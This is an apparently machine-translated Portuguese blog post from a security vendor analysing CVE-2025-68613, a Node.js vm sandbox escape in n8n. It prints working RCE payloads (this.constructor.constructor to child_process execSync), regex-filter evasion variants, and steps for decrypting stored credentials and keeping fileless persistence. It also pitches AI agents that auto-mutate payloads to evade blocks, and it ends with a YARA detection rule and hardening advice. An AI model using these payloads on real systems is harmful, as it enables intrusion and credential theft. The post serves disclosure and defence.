Cabeçalho penumbroso

CVE-2025-68613 Deep Dive: como as fugas da sandbox do Node.js abalam o mecanismo de fluxo de trabalho n8n

Nos últimos dias de 2025, a comunidade DevSecOps foi abalada pela divulgação de CVE-2025-68613uma vulnerabilidade crítica com a pontuação CVSS máxima de 10.0. A meta era n8na ferramenta de automação de fluxo de trabalho de código aberto mais popular do mundo, que funciona como o sistema nervoso central de milhares de empresas, orquestrando dados entre CRMs, bancos de dados e infraestrutura de nuvem.

Para o engenheiro de segurança de elite, descartar isso como uma "vulnerabilidade de baixo código" é um erro. O CVE-2025-68613 é uma aula magistral sobre a exploração moderna do JavaScript. Ele demonstra como o Tempo de execução dinâmico do Node.jsquando combinado com um Modelo de capacidade de objeto e Protótipo de poluição podem ser utilizadas como armas para transformar uma plataforma de automação benigna em uma cabeça de ponte em nível de raiz.

Este artigo abandona os relatórios superficiais para realizar uma dissecação em nível de byte dos primitivos de escape da sandbox, a falha do vm e como a análise lógica orientada por IA está mudando o jogo para as equipes azuis.

A arquitetura do fracasso: Por que o Node.js vm Intervalos entre módulos

Para entender o exploit, primeiro precisamos entender o ambiente. O n8n permite que os usuários manipulem dados usando expressões JavaScript, normalmente envolvidas em {{ }} sintaxe. Para executar esse código de usuário não confiável, o n8n (antes da versão 1.122.0) contava com o código nativo do Node.js vm módulo.

O vm fornece APIs para compilação e execução de código em contextos da máquina virtual V8. Ele permite a criação de uma "sandbox", um objeto contextualizado que atua como escopo global do código em execução.

A ilusão da "segurança

A premissa de vm.runInNewContext(code, sandbox) é que o código interno não pode acessar objetos fora do caixa de areia objeto.

  • Teoria: A caixa de areia é uma ilha.
  • Realidade: A ilha é conectada ao continente por pontes (a cadeia de protótipos).

Se o aplicativo host for aprovado qualquer na área restrita (por exemplo, expondo variáveis de ambiente por meio de process.env ou funções de utilidade por meio de um ajudantes objeto), o isolamento fica comprometido. No caso da n8n, o contexto de execução incluía referências aos dados do fluxo de trabalho, que implicitamente se vinculavam ao gráfico de objetos do ambiente host.

Principais conclusões técnicas: O Node.js vm módulo é não um mecanismo de segurança. É um mecanismo de escopo. Como a documentação do Node.js adverte explicitamente: "Não o utilize para executar código não confiável." O CVE-2025-68613 é a consequência direta de ignorar esse aviso.

Sandbox do Node.js

Anatomia da exploração: Da cadeia de protótipos ao RCE

O exploit primitivo para o CVE-2025-68613 gira em torno de atravessar a cadeia de protótipos do JavaScript para escapar do vm e acessar o Função construtor.

A técnica de escalada "Constructor

Em JavaScript, os objetos herdam propriedades de seus protótipos.

  1. este: Dentro da expressão n8n, este refere-se ao objeto de contexto da sandbox.
  2. this.constructor: Aponta para a função que criou o objeto de contexto. Na maioria das vm implementações, isso resolve para o Objeto construtor dentro a caixa de areia.
  3. this.constructor.constructor: Aqui está a brecha. Porque o Objeto dentro da área restrita é, em última análise, derivado dos primitivos do mecanismo V8, percorrer seu construtor geralmente resolve para o Ambiente do host Função construtor.

Quando um invasor possui os dados do host Função eles efetivamente têm um construtor eval() equivalente que é executado no contexto do host, fora da área restrita.

O código da cadeia de destruição

Vamos analisar a lógica de uma carga útil armada projetada para contornar filtros básicos.

JavaScript

`// Etapa 1: escapar da área restrita // Acessamos o construtor da função estrangeira (contexto do host) const ForeignFunction = this.constructor.constructor;

// Etapa 2: preencher a lacuna // Usamos a função estrangeira para criar um fechamento que retorna o objeto 'process'. // Essa nova função NÃO é limitada pelas restrições da sandbox. const getProcess = ForeignFunction('return process');

// Etapa 3: execução // Executamos a função para recuperar o identificador do processo global. const proc = getProcess();

// Etapa 4: Importar recursos // Usamos process.mainModule para acessar o carregador de módulo interno. const require = proc.mainModule.require;

// Etapa 5: armamento // Carregamos o 'child_process' e executamos um comando shell. const result = require('child_process').execSync('cat /etc/passwd').toString();`

No contexto de um fluxo de trabalho n8n, toda essa cadeia é reduzida e injetada em um campo de expressão legítimo, como uma variável de nó "Set" ou um valor de cabeçalho de solicitação HTTP.

Evasão avançada: Como contornar a análise estática

Quando o CVE-2025-68613 foi divulgado pela primeira vez em círculos privados de recompensas por bugs, alguns administradores tentaram atenuá-lo usando regras WAF ou filtros regex que bloqueavam palavras-chave como processo, construtorou exigir.

Em uma linguagem dinâmica como o JavaScript, a filtragem estática é fácil de ser contornada.

Técnica A: Aritmética e codificação de strings

Os invasores podem reconstruir palavras-chave proibidas em tempo de execução usando a concatenação de strings ou códigos de caracteres ASCII.

JavaScript

`{{ // Ignorando os filtros de regex "constructor" e "process" (() => { const c = "con" + "structor"; const p = "pro" + "cess";

// Usando a notação de acesso à matriz em vez da notação de ponto
const foreignFunc = this[c][c];
const proc = foreignFunc("return " + p)();

return proc.mainModule.require("child_process").execSync("id").toString();

})() }}`

Técnica B: a API Reflect e a ofuscação de proxy

As explorações avançadas utilizam o Refletir API para inspecionar e invocar propriedades sem nomeação direta, tornando a análise da árvore de sintaxe abstrata (AST) significativamente mais difícil para as ferramentas de segurança tradicionais.

JavaScript

`{{ // Usando o Reflect para localizar dinamicamente o construtor sem nomeá-lo const keys = Reflect.ownKeys(this.proto); const consKey = keys.find(k => k.toString().charCodeAt(0) == 99); // 'c'

const ForeignFunction = Reflect.get(this, consKey)[consKey];
// Prosseguir com o RCE...

}}`

Isso demonstra por que a correspondência de padrões é fundamentalmente falha contra vulnerabilidades lógicas em linguagens interpretadas.

Pós-exploração: n8n como o melhor pivô C2

Obter RCE em uma instância do n8n costuma ser mais valioso do que comprometer um servidor da Web padrão. O n8n fica na interseção dos canais de dados mais confidenciais de uma organização.

1. O cofre de credenciais

A n8n armazena credenciais para serviços conectados (AWS, Stripe, Salesforce, PostgreSQL) em seu banco de dados interno (padrão para SQLite localizado em ~/.n8n/database.sqlite). Enquanto esses dados estão criptografados, um RCE permite que o invasor:

  1. Leia a chave de criptografia da variável de ambiente (N8N_ENCRYPTION_KEY) ou o configuração arquivo.
  2. Descriptografar todo o armazenamento de credenciais.
  3. Gire lateralmente na infraestrutura de nuvem usando chaves válidas e de alto privilégio.

2. Persistência sem arquivo

O malware tradicional descarta um binário no disco, que as soluções de EDR (Endpoint Detection and Response) podem verificar.

No n8n, um invasor pode criar um "Shadow Workflow":

  • Gatilho: Um nó "Cron" configurado para ser executado a cada 10 minutos.
  • Ação: Um nó "Function" que executa JavaScript mal-intencionado (por exemplo, um shell reverso ou um script de exfiltração de dados).
  • Armazenamento: O malware existe somente como um objeto JSON no banco de dados n8n. Ele é sem arquivopersistente e que se integra à lógica comercial legítima.

Detecção de lógica orientada por IA: A vantagem da penalidade

A detecção do CVE-2025-68613 é um pesadelo para os scanners DAST (Dynamic Application Security Testing) tradicionais.

  • O problema: Os scanners dependem de "fuzzing cego". Eles enviam cargas úteis como ' OU 1=1 -- ou <script>alert(1)</script>. Contra um mecanismo de expressão, essas cargas úteis simplesmente causam erros de sintaxe. O fluxo de trabalho falha e o scanner informa "Limpo".
  • A lacuna lógica: Para detectar isso, uma ferramenta deve entender Sintaxe do JavaScript e Contexto do fluxo de trabalho.

É aqui que Penligent.ai representa uma mudança de paradigma. A Penligent utiliza Agentes de IA com reconhecimento de contexto que realizam análise semântica:

  1. Fuzzing sintático: Os agentes da Penligent reconhecem a {{ }} como um ponto de injeção de código. Em vez de cadeias de caracteres aleatórias, o agente constrói objetos JavaScript válidos.
  2. Sondagem de capacidade de objeto: O agente injeta sondas seguras para testar os limites da área restrita (por exemplo, {{ this.constructor.name }}). Ele analisa a saída. Se vir "Object" ou "Function", ele infere que a cadeia de protótipos está intacta.
  3. Mutação de ofuscação: Se uma sonda for bloqueada (por exemplo, "Acesso negado"), a IA da Penligent refatorará automaticamente o payload usando as técnicas de evasão mencionadas acima (aritmética de strings, API de reflexão) para verificar se o bloqueio é apenas superficial.

Ao simular a metodologia iterativa de um pesquisador humano, a Penligent valida a capacidade de exploração da lógica, fornecendo uma prova de conceito (PoC) em vez de um falso positivo.

Manual do Blue Team: Detecção e Defesa

Para a Blue Team, a atenuação do CVE-2025-68613 exige uma estratégia de defesa em profundidade que presume que a camada de aplicativos pode ser violada.

1. Assinaturas de rede (YARA/Snort)

Embora a criptografia de carga útil dificulte a detecção na rede, muitos invasores usam cargas úteis padrão. Monitore as solicitações HTTP POST para /rest/workflows contendo padrões suspeitos de JavaScript.

Exemplo de regra YARA:

rule DETECT_N8N_EXPRESSION_INJECTION { meta: description = "Detecta tentativas de escape de sandbox JS no n8n (CVE-2025-68613)" severity = "Critical" strings: $token_start = "{{" $js_constructor = "constructor" $js_process = "process.mainModule" $js_child = "child_process" $js_char_code = "String.fromCharCode" $js_reflect = "Reflect.get" condition: $token_start and (2 of ($js_*)) }

2. Endurecimento arquitetônico

  • Containerização: Nunca execute o n8n como root. Use contêineres Docker sem raiz com um sistema de arquivos somente leitura.
  • Queda da tampa: Execute o contêiner com -cap-drop=ALL para evitar o escalonamento de privilégios mesmo após o RCE.
  • Filtragem de saída: Configure as políticas de rede do Kubernetes ou os grupos de segurança do AWS para bloquear todo o tráfego de saída do contêiner n8n, exceto para APIs na lista de permissões necessárias para fluxos de trabalho. Isso elimina a conexão do shell reverso.

3. Bloqueio de ambiente

Definir a variável de ambiente N8N_BLOCK_ENV_ACCESS_IN_NODE=true. Esse recurso, introduzido em versões posteriores, tenta bloquear o acesso a process.env de dentro dos nós, mitigando o roubo de credenciais mesmo que a execução do código seja alcançada.

Conclusão: O fim da confiança implícita

O CVE-2025-68613 é um divisor de águas para a segurança das plataformas Low-Code. Ele nos lembra que a flexibilidade é inimiga da segurança. Quando concedemos aos usuários o poder de uma linguagem Turing-complete, como o JavaScript, para manipular dados, estamos convidando-os a entrar no núcleo do nosso aplicativo.

O futuro da automação segura não está em "melhores filtros regex" ou "patches vm módulos", mas em tecnologias de isolamento arquitetônico como WebAssembly (Wasm) ou Isolados V8que fornecem um verdadeiro sandboxing com segurança de memória. Até lá, a aplicação rigorosa de patches, os testes orientados por IA e a segmentação agressiva da rede continuam sendo nossa única defesa.

Referências confiáveis e leituras adicionais

Compartilhe a postagem:
Publicações relacionadas
pt_BRPortuguese